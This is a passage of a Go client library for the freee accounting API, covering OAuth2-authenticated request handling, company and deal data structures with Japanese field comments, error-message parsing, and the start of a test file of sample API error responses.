161 | tokenSource := c.config.Oauth2.TokenSource(ctx, oauth2Token)
162 | if c.config.EarlyExpiry != nil {
163 | tokenSource = oauth2.ReuseTokenSourceWithExpiry(oauth2Token, tokenSource, *c.config.EarlyExpiry)
164 | }
165 | httpClient := oauth2.NewClient(ctx, tokenSource)
166 | response, err := httpClient.Do(req)
167 | if err != nil {
168 | e := &oauth2.RetrieveError{}
169 | if errors.As(err, &e) {
170 | resp := &Error{
171 | RawError: err.Error(),
172 | IsAuthorizationRequired: true,
173 | }
174 | if e.Response != nil {
175 | resp.StatusCode = e.Response.StatusCode
176 | }
177 | return oauth2Token, resp
178 | }
179 | errURL := &url.Error{}
180 | if errors.As(err, &errURL) {
181 | err = errURL.Unwrap()
182 | if v, ok := err.(*Error); ok {
183 | err = v
184 | }
185 | }
186 | return oauth2Token, err
187 | }
188 | defer response.Body.Close()
189 | c.logf("[freee] %s: %s", HeaderXFreeeRequestID, response.Header.Get(HeaderXFreeeRequestID))
190 | c.logf("[freee] %s: %v %v%v", response.Status, req.Method, req.URL.Host, req.URL.Path)
191 |
192 | oauth2Token, err = tokenSource.Token()
193 | if err != nil {
194 | // error occured, but ignored.
195 | c.logf("[freee] OAuth2: %v", err)
196 | }
197 |
198 | var r io.Reader = response.Body
199 | // r = io.TeeReader(r, os.Stderr)
200 |
201 | // Parse freee API errors
202 | code := response.StatusCode
203 | if code >= http.StatusBadRequest {
204 | byt, err := ioutil.ReadAll(r)
205 | if err != nil {
206 | // error occured, but ignored.
207 | c.logf("[freee] HTTP response body: %v", err)
208 | }
209 | res := &Error{
210 | StatusCode: code,
211 | RawError: string(byt),
212 | }
213 | // Check if re-authorization is required
214 | if code == http.StatusUnauthorized {
215 | var e UnauthorizedError
216 | if err := json.NewDecoder(bytes.NewReader(byt)).Decode(&e); err != nil {
217 | c.logf("[freee] HTTP response body: %v", err)
218 | return oauth2Token, res
219 | }
220 | if e.Code == UnauthorizedCodeInvalidAccessToken ||
221 | e.Code == UnauthorizedCodeExpiredAccessToken {
222 | res.IsAuthorizationRequired = true
223 | }
224 | }
225 | return oauth2Token, res
226 | }
227 |
228 | if res == nil {
229 | return oauth2Token, nil
230 | }
231 | return oauth2Token, json.NewDecoder(r).Decode(&res)
232 | }
233 |
--------------------------------------------------------------------------------
/companies.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathCompanies = "companies"
15 | )
16 |
17 | type CompanyResponse struct {
18 | Company Company `json:"company"`
19 | }
20 |
21 | type Company struct {
22 | // 事業所ID
23 | ID int64 `json:"id"`
24 | // 事業所の正式名称 (100文字以内)
25 | Name *string `json:"name"`
26 | // 正式名称フリガナ (100文字以内)
27 | NameKana *string `json:"name_kana"`
28 | // 事業所名
29 | DisplayName string `json:"display_name"`
30 | // 源泉徴収税計算(0: 消費税を含める、1: 消費税を含めない)
31 | TaxAtSourceCalcType int64 `json:"tax_at_source_calc_type"`
32 | // 担当者名 (50文字以内)
33 | ContactName *string `json:"contact_name"`
34 | // 従業員数(0: 経営者のみ、1: 2~5人、2: 6~10人、3: 11~20人、4: 21~30人、5: 31~40人、6: 41~100人、7: 100人以上
35 | HeadCount *int64 `json:"head_count"`
36 | // 法人番号 (半角数字13桁、法人のみ)
37 | CorporateNumber string `json:"corporate_number"`
38 | // 仕訳番号形式(not_used: 使用しない、digits: 数字(例:5091824)、alnum: 英数字(例:59J0P))
39 | TxnNumberFormat string `json:"txn_number_format"`
40 | // 決済口座のデフォルト
41 | DefaultWalletAccountId *int64 `json:"default_wallet_account_id,omitempty"`
42 | // プライベート資金/役員資金(false: 使用しない、true: 使用する)
43 | PrivateSettlement bool `json:"private_settlement"`
44 | // マイナスの表示方法(0: -、 1: △)
45 | MinusFormat int64 `json:"minus_format"`
46 | // ユーザーの権限
47 | Role string `json:"role"`
48 | // 電話番号1
49 | Phone1 string `json:"phone1"`
50 | // 電話番号2
51 | Phone2 *string `json:"phone2"`
52 | // FAX
53 | Fax *string `json:"fax"`
54 | // 郵便番号
55 | Zipcode string `json:"zipcode"`
56 | // 都道府県コード(-1: 設定しない、0: 北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄
57 | PrefectureCode *int64 `json:"prefecture_code"`
58 | // 市区町村・番地
59 | StreetName1 string `json:"street_name1"`
60 | // 建物名・部屋番号など
61 | StreetName2 string `json:"street_name2"`
62 | // 請求書レイアウト * `default_classic` - レイアウト1/クラシック (デフォルト) * `standard_classic` - レイアウト2/クラシック * `envelope_classic` - 封筒1/クラシック * `carried_forward_standard_classic` - レイアウト3(繰越金額欄あり)/クラシック * `carried_forward_envelope_classic` - 封筒2(繰越金額欄あり)/クラシック * `default_modern` - レイアウト1/モダン * `standard_modern` - レイアウト2/モダン * `envelope_modern` - 封筒/モダン
63 | InvoiceLayout string `json:"invoice_layout"`
64 | // 金額端数処理方法(0: 切り捨て、1: 切り上げ、2: 四捨五入)
65 | AmountFraction int64 `json:"amount_fraction"`
66 | // 種別(agriculture_forestry_fisheries_ore: 農林水産業/鉱業、construction: 建設、manufacturing_processing: 製造/加工、it: IT、transportation_logistics: 運輸/物流、retail_wholesale: 小売/卸売、finance_insurance: 金融/保険、real_estate_rental: 不動産/レンタル、profession: 士業/学術/専門技術サービス、design_production: デザイン/制作、food: 飲食、leisure_entertainment: レジャー/娯楽、lifestyle: 生活関連サービス、education: 教育/学習支援、medical_welfare: 医療/福祉、other_services: その他サービス、other: その他)
67 | IndustryClass string `json:"industry_class"`
68 | // 業種(agriculture: 農業, forestry: 林業, fishing_industry: 漁業、水産養殖業, mining: 鉱業、採石業、砂利採取業, civil_contractors: 土木工事業, pavement: 舗装工事業, carpenter: とび、大工、左官等の建設工事業, renovation: リフォーム工事業, electrical_plumbing: 電気、管工事等の設備工事業, grocery: 食料品の製造加工業, machinery_manufacturing: 機械器具の製造加工業, printing: 印刷業, other_manufacturing: その他の製造加工業, software_development: 受託:ソフトウェア、アプリ開発業, system_development: 受託:システム開発業, survey_analysis: 受託:調査、分析等の情報処理業, server_management: 受託:サーバー運営管理, website_production: 受託:ウェブサイト制作, online_service_management: オンラインサービス運営業, online_advertising_agency: オンライン広告代理店業, online_advertising_planning_production: オンライン広告企画・制作業, online_media_management: オンラインメディア運営業, portal_site_management: ポータルサイト運営業, other_it_services: その他、IT サービス業, transport_delivery: 輸送業、配送業, delivery: バイク便等の配達業, other_transportation_logistics: その他の運輸業、物流業, other_wholesale: 卸売業:その他, clothing_wholesale_fiber: 卸売業:衣類卸売/繊維, food_wholesale: 卸売業:飲食料品, entrusted_development_wholesale: 卸売業:機械器具, online_shop: 小売業:無店舗 オンラインショップ, fashion_grocery_store: 小売業:店舗あり ファッション、雑貨, food_store: 小売業:店舗あり 生鮮食品、飲食料品, entrusted_store: 小売業:店舗あり 機械、器具, other_store: 小売業:店舗あり その他, financial_instruments_exchange: 金融業:金融商品取引, commodity_futures_investment_advisor: 金融業:商品先物取引、商品投資顧問, other_financial: 金融業:その他, brokerage_insurance: 保険業:仲介、代理, other_insurance: 保険業:その他, real_estate_developer: 不動産業:ディベロッパー, real_estate_brokerage: 不動産業:売買、仲介, rent_coin_parking_management: 不動産業:賃貸、コインパーキング、管理, rental_office_co_working_space: 不動産業:レンタルオフィス、コワーキングスペース, rental_lease: レンタル業、リース業, cpa_tax_accountant: 士業:公認会計士事務所、税理士事務所, law_office: 士業:法律事務所, judicial_and_administrative_scrivener: 士業:司法書士事務所/行政書士事務所, labor_consultant: 士業:社会保険労務士事務所, other_profession: 士業:その他, business_consultant: 経営コンサルタント, academic_research_development: 学術・開発研究機関, advertising_agency: 広告代理店, advertising_planning_production: 広告企画/制作, design_development: ソフトウェア、アプリ開発業(受託), apparel_industry_design: 服飾デザイン業、工業デザイン業, website_design: ウェブサイト制作(受託), advertising_planning_design: 広告企画/制作業, other_design: その他、デザイン/制作, restaurants_coffee_shops: レストラン、喫茶店等の飲食店業, sale_of_lunch: 弁当の販売業, bread_confectionery_manufacture_sale: パン、菓子等の製造販売業, delivery_catering_mobile_catering: デリバリー業、ケータリング業、移動販売業, hotel_inn: 宿泊業:ホテル、旅館, homestay: 宿泊業:民泊, travel_agency: 旅行代理店業, leisure_sports_facility_management: レジャー、スポーツ等の施設運営業, show_event_management: ショー、イベント等の興行、イベント運営業, barber: ビューティ、ヘルスケア業:床屋、理容室, beauty_salon: ビューティ、ヘルスケア業:美容室, spa_sand_bath_sauna: ビューティ、ヘルスケア業:スパ、砂風呂、サウナ等, este_ail_salon: ビューティ、ヘルスケア業:その他、エステサロン、ネイルサロン等, bridal_planning_introduce_wedding: 冠婚葬祭業:ブライダルプランニング、結婚式場紹介等, memorial_ceremony_funeral: 冠婚葬祭業:メモリアルセレモニー、葬儀等, moving: 引っ越し業, courier_industry: 宅配業, house_maid_cleaning_agency: 家事代行サービス業:無店舗 ハウスメイド、掃除代行等, re_tailoring_clothes: 家事代行サービス業:店舗あり 衣類修理、衣類仕立て直し等, training_institute_management: 研修所等の施設運営業, tutoring_school: 学習塾、進学塾等の教育・学習支援業, music_calligraphy_abacus_classroom: 音楽教室、書道教室、そろばん教室等のの教育・学習支援業, english_school: 英会話スクール等の語学学習支援業, tennis_yoga_judo_school: テニススクール、ヨガ教室、柔道場等のスポーツ指導、支援業, culture_school: その他、カルチャースクール等の教育・学習支援業, seminar_planning_management: セミナー等の企画、運営業, hospital_clinic: 医療業:病院、一般診療所、クリニック等, dental_clinic: 医療業:歯科診療所, other_medical_services: 医療業:その他、医療サービス等, nursery: 福祉業:保育所等、児童向け施設型サービス, nursing_home: 福祉業:老人ホーム等、老人向け施設型サービス, rehabilitation_support_services: 福祉業:療育支援サービス等、障害者等向け施設型サービス, other_welfare: 福祉業:その他、施設型福祉サービス, visit_welfare_service: 福祉業:訪問型福祉サービス, recruitment_temporary_staffing: 人材紹介業、人材派遣業, life_related_recruitment_temporary_staffing: 生活関連サービスの人材紹介業、人材派遣業, car_maintenance_car_repair: 自動車整備業、自動車修理業, machinery_equipment_maintenance_repair: 機械機器類の整備業、修理業, cleaning_maintenance_building_management: 清掃業、メンテナンス業、建物管理業, security: 警備業, other_services: その他のサービス業, npo: NPO, general_incorporated_association: 一般社団法人, general_incorporated_foundation: 一般財団法人, other_association: その他組織)
69 | IndustryCode string `json:"industry_code"`
70 | // 仕訳承認フロー(enable: 有効、 disable: 無効)
71 | WorkflowSetting string `json:"workflow_setting"`
72 | // 取引先コードの利用設定(true: 有効、 false: 無効)
73 | UsePartnerCode bool `json:"use_partner_code"`
74 | FiscalYears []FiscalYears `json:"fiscal_years"`
75 | }
76 |
77 | // FiscalYears struct for FiscalYears
78 | type FiscalYears struct {
79 | // 製造業向け機能(true: 使用する、false: 使用しない)
80 | UseIndustryTemplate bool `json:"use_industry_template"`
81 | // 固定資産の控除法(true: 間接控除法、false: 直接控除法)
82 | IndirectWriteOffMethod bool `json:"indirect_write_off_method"`
83 | // 期首日
84 | StartDate *string `json:"start_date,omitempty"`
85 | // 期末日
86 | EndDate *string `json:"end_date,omitempty"`
87 | // 月次償却(0: しない、1: する)
88 | DepreciationRecordMethod int64 `json:"depreciation_record_method"`
89 | // 課税区分(0: 免税、1: 簡易課税、2: 本則課税(個別対応方式)、3: 本則課税(一括比例配分方式)、4: 本則課税(全額控除))
90 | TaxMethod int64 `json:"tax_method"`
91 | // 簡易課税用事業区分(0: 第一種:卸売業、1: 第二種:小売業、2: 第三種:農林水産業、工業、建設業、製造業など、3: 第四種:飲食店業など、4: 第五種:金融・保険業、運輸通信業、サービス業など、5: 第六種:不動産業など
92 | SalesTaxBusinessCode int64 `json:"sales_tax_business_code"`
93 | // 消費税端数処理方法(0: 切り捨て、1: 切り上げ、2: 四捨五入)
94 | TaxFraction int64 `json:"tax_fraction"`
95 | // 消費税経理処理方法(0: 税込経理、1: 旧税抜経理、2: 税抜経理)
96 | TaxAccountMethod int64 `json:"tax_account_method"`
97 | // 不動産所得使用区分(0: 一般、3: 一般/不動産) ※個人事業主のみ設定可能
98 | ReturnCode int64 `json:"return_code"`
99 | }
100 |
101 | type GetCompanyOpts struct {
102 | Details *bool
103 | AccountItems *bool
104 | Taxes *bool
105 | Items *bool
106 | Partners *bool
107 | Sections *bool
108 | Tags *bool
109 | Walletables *bool
110 | }
111 |
112 | func (c *Client) GetCompany(
113 | ctx context.Context, oauth2Token *oauth2.Token,
114 | companyID int64, opts GetCompanyOpts,
115 | ) (*CompanyResponse, *oauth2.Token, error) {
116 | var result CompanyResponse
117 |
118 | v, err := query.Values(opts)
119 | if err != nil {
120 | return nil, oauth2Token, err
121 | }
122 | oauth2Token, err = c.call(ctx, path.Join(APIPathCompanies, fmt.Sprint(companyID)), http.MethodGet, oauth2Token, v, nil, &result)
123 | if err != nil {
124 | return nil, oauth2Token, err
125 | }
126 | return &result, oauth2Token, nil
127 | }
128 |
--------------------------------------------------------------------------------
/deals.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathDeals = "deals"
15 |
16 | DealTypeIncome = "income"
17 | DealTypeExpense = "expense"
18 | DealStatusSettled = "settled"
19 | DealStatusUnsettled = "unsettled"
20 | DealDetailEntrySideCredit = "credit"
21 | DealDetailEntrySideDebit = "debit"
22 | )
23 |
24 | type DealsResponse struct {
25 | Deals []Deal `json:"deals"`
26 | Meta DealsResponseMeta `json:"meta"`
27 | }
28 |
29 | type DealsResponseMeta struct {
30 | TotalCount int64 `json:"total_count"`
31 | }
32 |
33 | type DealResponse struct {
34 | Deal Deal `json:"deal"`
35 | }
36 |
37 | type GetDealOpts struct {
38 | // 取引先ID
39 | PartnerID int64 `url:"partner_id,omitempty"`
40 | // 決済状況 (未決済: unsettled, 完了: settled)
41 | Status string `url:"status,omitempty"`
42 | // 収支区分 (収入: income, 支出: expense)
43 | Type string `url:"type,omitempty"`
44 | // 発生日で絞込:開始日(yyyy-mm-dd)
45 | StartIssueDate string `url:"start_issue_date,omitempty"`
46 | // 発生日で絞込:終了日(yyyy-mm-dd)
47 | EndIssueDate string `url:"end_issue_date,omitempty"`
48 | // 取引の債権債務行の表示(without: 表示しない(デフォルト), with: 表示する)
49 | Accruals string `url:"accruals,omitempty"`
50 | Offset int64 `url:"offset,omitempty"`
51 | Limit int64 `url:"limit,omitempty"`
52 | }
53 |
54 | type Deal struct {
55 | // 取引ID
56 | ID int64 `json:"id"`
57 | // 事業所ID
58 | CompanyID int64 `json:"company_id"`
59 | // 発生日 (yyyy-mm-dd)
60 | IssueDate string `json:"issue_date"`
61 | // 支払期日 (yyyy-mm-dd)
62 | DueDate *string `json:"due_date,omitempty"`
63 | // 金額
64 | Amount int64 `json:"amount"`
65 | // 支払金額
66 | DueAmount *int64 `json:"due_amount,omitempty"`
67 | // 収支区分 (収入: income, 支出: expense)
68 | Type *string `json:"type,omitempty"`
69 | // 取引先ID
70 | PartnerID int64 `json:"partner_id"`
71 | // 取引先コード
72 | PartnerCode *string `json:"partner_code,omitempty"`
73 | // 管理番号
74 | RefNumber *string `json:"ref_number,omitempty"`
75 | // 決済状況 (未決済: unsettled, 完了: settled)
76 | Status string `json:"status"`
77 | // 取引の明細行
78 | Details *[]DealDetails `json:"details,omitempty"`
79 | // 取引の+更新行
80 | Renews *[]DealRenews `json:"renews,omitempty"`
81 | // 取引の支払行
82 | Payments *[]DealPayments `json:"payments,omitempty"`
83 | // 証憑ファイル
84 | Receipts *[]DealReceipts `json:"receipts,omitempty"`
85 | }
86 |
87 | type DealDetails struct {
88 | ID int64 `json:"id"`
89 | // 税区分コード
90 | TaxCode int64 `json:"tax_code"`
91 | // 勘定科目ID
92 | AccountItemID int64 `json:"account_item_id"`
93 | // 取引金額(税込で指定してください)
94 | Amount int64 `json:"amount"`
95 | // 品目ID
96 | ItemID *int64 `json:"item_id,omitempty"`
97 | // 部門ID
98 | SectionID *int64 `json:"section_id,omitempty"`
99 | // メモタグID
100 | TagIDs *[]int64 `json:"tag_ids,omitempty"`
101 | // セグメント1ID
102 | Segment1TagID *int64 `json:"segment_1_tag_id,omitempty"`
103 | // セグメント2ID
104 | Segment2TagID *int64 `json:"segment_2_tag_id,omitempty"`
105 | // セグメント3ID
106 | Segment3TagID *int64 `json:"segment_3_tag_id,omitempty"`
107 | // 備考
108 | Description *string `json:"description,omitempty"`
109 | // 消費税額(指定しない場合は自動で計算されます)
110 | Vat *int64 `json:"vat,omitempty"`
111 | // 貸借(貸方: credit, 借方: debit)
112 | EntrySide string `json:"entry_side"`
113 | }
114 |
115 | type DealRenews struct {
116 | // +更新行ID
117 | ID int64 `json:"id"`
118 | // 更新日 (yyyy-mm-dd)
119 | UpdateDate string `json:"update_date"`
120 | // +更新の対象行ID
121 | RenewTargetId int64 `json:"renew_target_id"`
122 | // +更新の対象行タイプ
123 | RenewTargetType string `json:"renew_target_type"`
124 | // +更新の明細行一覧(配列)
125 | Details []DealDetails `json:"details"`
126 | }
127 |
128 | type DealPayments struct {
129 | // 取引行ID
130 | ID int64 `json:"id"`
131 | // 支払日
132 | Date string `json:"date"`
133 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, 現金: wallet, プライベート資金(法人の場合は役員借入金もしくは役員借入金、個人の場合は事業主貸もしくは事業主借): private_account_item)
134 | FromWalletableType string `json:"from_walletable_type,omitempty"`
135 | // 口座ID(from_walletable_typeがprivate_account_itemの場合は勘定科目ID)
136 | FromWalletableID int64 `json:"from_walletable_id,omitempty"`
137 | // 支払金額
138 | Amount int64 `json:"amount"`
139 | }
140 |
141 | type DealReceipts struct {
142 | // 証憑ID
143 | ID int64 `json:"id"`
144 | // ステータス(unconfirmed:確認待ち、confirmed:確認済み、deleted:削除済み、ignored:無視)
145 | Status string `json:"status"`
146 | // メモ
147 | Description *string `json:"description,omitempty"`
148 | // MIMEタイプ
149 | MimeType string `json:"mime_type"`
150 | // 発生日
151 | IssueDate *string `json:"issue_date,omitempty"`
152 | // アップロード元種別
153 | Origin string `json:"origin"`
154 | // 作成日時(ISO8601形式)
155 | CreatedAt string `json:"created_at"`
156 | // ファイルのダウンロードURL(freeeにログインした状態でのみ閲覧可能です。)
file_srcは廃止予定の属性になります。
file_srcに替わり、証憑ファイルのダウンロード APIをご利用ください。
証憑ファイルのダウンロードAPIを利用することで、以下のようになります。
- アプリケーション利用者はfreee APIアプリケーションにログインしていれば、証憑ダウンロード毎にfreeeに改めてログインすることなくファイルが参照できるようになります。
157 | FileSrc string `json:"file_src"`
158 | User DealUser `json:"user"`
159 | }
160 |
161 | type DealUser struct {
162 | // ユーザーID
163 | ID int64 `json:"id"`
164 | // メールアドレス
165 | Email string `json:"email"`
166 | // 表示名
167 | DisplayName *string `json:"display_name,omitempty"`
168 | }
169 |
170 | type DealCreateParams struct {
171 | // 発生日 (yyyy-mm-dd)
172 | IssueDate string `json:"issue_date"`
173 | // 収支区分 (収入: income, 支出: expense)
174 | Type string `json:"type"`
175 | // 事業所ID
176 | CompanyID int64 `json:"company_id"`
177 | // 支払期日(yyyy-mm-dd)
178 | DueDate *string `json:"due_date,omitempty"`
179 | // 取引先ID
180 | PartnerID *int64 `json:"partner_id,omitempty"`
181 | // 取引先コード
182 | PartnerCode *string `json:"partner_code,omitempty"`
183 | // 管理番号
184 | RefNumber *string `json:"ref_number,omitempty"`
185 | Details []DealCreateParamsDetails `json:"details"`
186 | // 支払行一覧(配列):未指定の場合、未決済の取引を作成します。
187 | Payments *[]DealCreateParamsPayments `json:"payments,omitempty"`
188 | // 証憑ファイルID(配列)
189 | ReceiptIDs *[]int64 `json:"receipt_ids,omitempty"`
190 | }
191 |
192 | type DealCreateParamsDetails struct {
193 | // 税区分コード
194 | TaxCode int64 `json:"tax_code"`
195 | // 勘定科目ID
196 | AccountItemID int64 `json:"account_item_id"`
197 | // 取引金額(税込で指定してください)
198 | Amount int64 `json:"amount"`
199 | // 品目ID
200 | ItemID *int64 `json:"item_id,omitempty"`
201 | // 部門ID
202 | SectionID *int64 `json:"section_id,omitempty"`
203 | // メモタグID
204 | TagIDs *[]int64 `json:"tag_ids,omitempty"`
205 | // セグメント1ID
206 | Segment1TagID *int64 `json:"segment_1_tag_id,omitempty"`
207 | // セグメント2ID
208 | Segment2TagID *int64 `json:"segment_2_tag_id,omitempty"`
209 | // セグメント3ID
210 | Segment3TagID *int64 `json:"segment_3_tag_id,omitempty"`
211 | // 備考
212 | Description *string `json:"description,omitempty"`
213 | // 消費税額(指定しない場合は自動で計算されます)
214 | Vat *int64 `json:"vat,omitempty"`
215 | }
216 |
217 | type DealCreateParamsPayments struct {
218 | // 支払金額:payments指定時は必須
219 | Amount int64 `json:"amount"`
220 | // 口座ID(from_walletable_typeがprivate_account_itemの場合は勘定科目ID):payments指定時は必須
221 | FromWalletableID int64 `json:"from_walletable_id"`
222 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, 現金: wallet, プライベート資金(法人の場合は役員借入金もしくは役員借入金、個人の場合は事業主貸もしくは事業主借): private_account_item):payments指定時は必須
223 | FromWalletableType string `json:"from_walletable_type"`
224 | // 支払日:payments指定時は必須
225 | Date string `json:"date"`
226 | }
227 |
228 | type DealUpdateParams struct {
229 | // 発生日 (yyyy-mm-dd)
230 | IssueDate string `json:"issue_date"`
231 | // 収支区分 (収入: income, 支出: expense)
232 | Type string `json:"type"`
233 | // 事業所ID
234 | CompanyID int64 `json:"company_id"`
235 | // 支払期日(yyyy-mm-dd)
236 | DueDate *string `json:"due_date,omitempty"`
237 | // 取引先ID
238 | PartnerID *int64 `json:"partner_id,omitempty"`
239 | // 取引先コード
240 | PartnerCode *string `json:"partner_code,omitempty"`
241 | // 管理番号
242 | RefNumber *string `json:"ref_number,omitempty"`
243 | Details []DealUpdateParamsDetails `json:"details"`
244 | // 証憑ファイルID(配列)
245 | ReceiptIDs []int64 `json:"receipt_ids,omitempty"`
246 | }
247 |
248 | type DealUpdateParamsDetails struct {
249 | // 取引行ID: 既存取引行を更新する場合に指定します。IDを指定しない取引行は、新規行として扱われ追加されます。また、detailsに含まれない既存の取引行は削除されます。更新後も残したい行は、必ず取引行IDを指定してdetailsに含めてください。
250 | ID *int64 `json:"id,omitempty"`
251 | // 税区分コード
252 | TaxCode int64 `json:"tax_code"`
253 | // 勘定科目ID
254 | AccountItemID int64 `json:"account_item_id"`
255 | // 取引金額(税込で指定してください)
256 | Amount int64 `json:"amount"`
257 | // 品目ID
258 | ItemID *int64 `json:"item_id,omitempty"`
259 | // 部門ID
260 | SectionID *int64 `json:"section_id,omitempty"`
261 | // メモタグID
262 | TagIDs *[]int64 `json:"tag_ids,omitempty"`
263 | // セグメント1ID
264 | Segment1TagID *int64 `json:"segment_1_tag_id,omitempty"`
265 | // セグメント2ID
266 | Segment2TagID *int64 `json:"segment_2_tag_id,omitempty"`
267 | // セグメント3ID
268 | Segment3TagID *int64 `json:"segment_3_tag_id,omitempty"`
269 | // 備考
270 | Description *string `json:"description,omitempty"`
271 | // 消費税額(指定しない場合は自動で計算されます)
272 | Vat *int64 `json:"vat,omitempty"`
273 | }
274 |
275 | func (c *Client) GetDeals(ctx context.Context, oauth2Token *oauth2.Token,
276 | companyID int64, opts GetDealOpts) (*DealsResponse, *oauth2.Token, error) {
277 | var result DealsResponse
278 |
279 | v, err := query.Values(opts)
280 | if err != nil {
281 | return nil, oauth2Token, err
282 | }
283 | SetCompanyID(&v, companyID)
284 | oauth2Token, err = c.call(ctx, path.Join(APIPathDeals), http.MethodGet, oauth2Token, v, nil, &result)
285 | if err != nil {
286 | return nil, oauth2Token, err
287 | }
288 |
289 | return &result, oauth2Token, nil
290 | }
291 |
292 | func (c *Client) GetDeal(
293 | ctx context.Context, oauth2Token *oauth2.Token,
294 | companyID int64, dealID int64, opts GetDealOpts,
295 | ) (*Deal, *oauth2.Token, error) {
296 | var result DealResponse
297 |
298 | v, err := query.Values(opts)
299 | if err != nil {
300 | return nil, oauth2Token, err
301 | }
302 | SetCompanyID(&v, companyID)
303 | oauth2Token, err = c.call(ctx, path.Join(APIPathDeals, fmt.Sprint(dealID)), http.MethodGet, oauth2Token, v, nil, &result)
304 | if err != nil {
305 | return nil, oauth2Token, err
306 | }
307 | return &result.Deal, oauth2Token, nil
308 | }
309 |
310 | func (c *Client) CreateDeal(
311 | ctx context.Context, oauth2Token *oauth2.Token,
312 | params DealCreateParams,
313 | ) (*Deal, *oauth2.Token, error) {
314 | var result DealResponse
315 | oauth2Token, err := c.call(ctx, APIPathDeals, http.MethodPost, oauth2Token, nil, params, &result)
316 | if err != nil {
317 | return nil, oauth2Token, err
318 | }
319 | return &result.Deal, oauth2Token, nil
320 | }
321 |
322 | func (c *Client) UpdateDeal(
323 | ctx context.Context, oauth2Token *oauth2.Token,
324 | dealID int64, params DealUpdateParams,
325 | ) (*Deal, *oauth2.Token, error) {
326 | var result DealResponse
327 | oauth2Token, err := c.call(ctx, path.Join(APIPathDeals, fmt.Sprint(dealID)), http.MethodPut, oauth2Token, nil, params, &result)
328 | if err != nil {
329 | return nil, oauth2Token, err
330 | }
331 | return &result.Deal, oauth2Token, nil
332 | }
333 |
334 | func (c *Client) DestroyDeal(
335 | ctx context.Context, oauth2Token *oauth2.Token,
336 | companyID int64, dealID int64,
337 | ) (*oauth2.Token, error) {
338 | v, err := query.Values(nil)
339 | if err != nil {
340 | return oauth2Token, err
341 | }
342 | SetCompanyID(&v, companyID)
343 | oauth2Token, err = c.call(ctx, path.Join(APIPathDeals, fmt.Sprint(dealID)), http.MethodDelete, oauth2Token, v, nil, nil)
344 | if err != nil {
345 | return oauth2Token, err
346 | }
347 |
348 | return oauth2Token, nil
349 | }
350 |
--------------------------------------------------------------------------------
/errors.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import "encoding/json"
4 |
5 | const (
6 | UnauthorizedCodeInvalidAccessToken = "invalid_access_token"
7 | UnauthorizedCodeExpiredAccessToken = "expired_access_token"
8 | UnauthorizedCodeUserDoNotHavePermission = "user_do_not_have_permission"
9 | UnauthorizedCodeCompanyNotFound = "company_not_found"
10 | UnauthorizedCodeFreeePlanLimit = "freee_plan_limit"
11 | UnauthorizedCodeSourceIPAddressLimit = "source_ip_address_limit"
12 | )
13 |
14 | type UnauthorizedError struct {
15 | Message string `json:"message"`
16 | Code string `json:"code"`
17 | }
18 |
19 | type Error struct {
20 | StatusCode int
21 | RawError string
22 | IsAuthorizationRequired bool
23 | }
24 |
25 | func (e *Error) Error() string {
26 | return e.RawError
27 | }
28 |
29 | func (e *Error) Messages() []string {
30 | messages, _ := ExtractFreeeErrorMessage(e.RawError)
31 | return messages
32 | }
33 |
34 | type FreeErrorMessageDetail struct {
35 | Messages []string `json:"messages"`
36 | }
37 | type FreeeErrorMessage struct {
38 | ErrorDescription string `json:"error_description"`
39 | Message string `json:"message"`
40 | Messages []string `json:"messages"`
41 | ErrorDetails []FreeErrorMessageDetail `json:"errors"`
42 | }
43 |
44 | func ExtractFreeeErrorMessage(errorString string) ([]string, error) {
45 | var messages []string
46 |
47 | var errorMessage FreeeErrorMessage
48 | if err := json.Unmarshal([]byte(errorString), &errorMessage); err != nil {
49 | return messages, err
50 | }
51 |
52 | if errorMessage.ErrorDescription != "" {
53 | messages = append(messages, errorMessage.ErrorDescription)
54 | }
55 | if errorMessage.Message != "" {
56 | messages = append(messages, errorMessage.Message)
57 | }
58 | for _, msg := range errorMessage.Messages {
59 | messages = append(messages, msg)
60 | }
61 | for _, errorDetail := range errorMessage.ErrorDetails {
62 | if len(errorDetail.Messages) > 0 {
63 | messages = append(messages, errorDetail.Messages...)
64 | }
65 | }
66 |
67 | return messages, nil
68 | }
69 |
--------------------------------------------------------------------------------
/errors_test.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "fmt"
5 | "testing"
6 | )
7 |
8 | var testJsonData = map[string]int{
9 | "{\"error\":\"invalid_grant\",\"error_description\":\"指定された認可グラントは不正か、有効期限切れか、無効か、リダイレクトURIが異なるか、もしくは別のクライアントに適用されています。\"}": 1,
10 | "{\"status_code\":404,\"errors\":[{\"type\":\"status\",\"messages\":[\"リソースが見つかりません。\"]},{\"type\":\"validation\",\"messages\":[\"既に削除された、あるいは存在しない取引先です。\"]}]}": 2,
11 | "{\"status_code\":404,\"errors\":[{\"type\":\"status\",\"messages\":[\"リソースが見つかりません。\"]},{\"type\":\"error\",\"messages\":[\"存在しないか既に削除された取引です。\"]}]}": 2,
12 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"指定された partner_id は存在しません。\"]}]}": 2,
13 | "{\"status_code\":400,\"errors\":[{\"type\":\"status\",\"messages\":[\"不正なリクエストです。\"]},{\"type\":\"validation\",\"messages\":[\"名前(通称)「yyyyy」はすでに存在します。\"]}]}": 2,
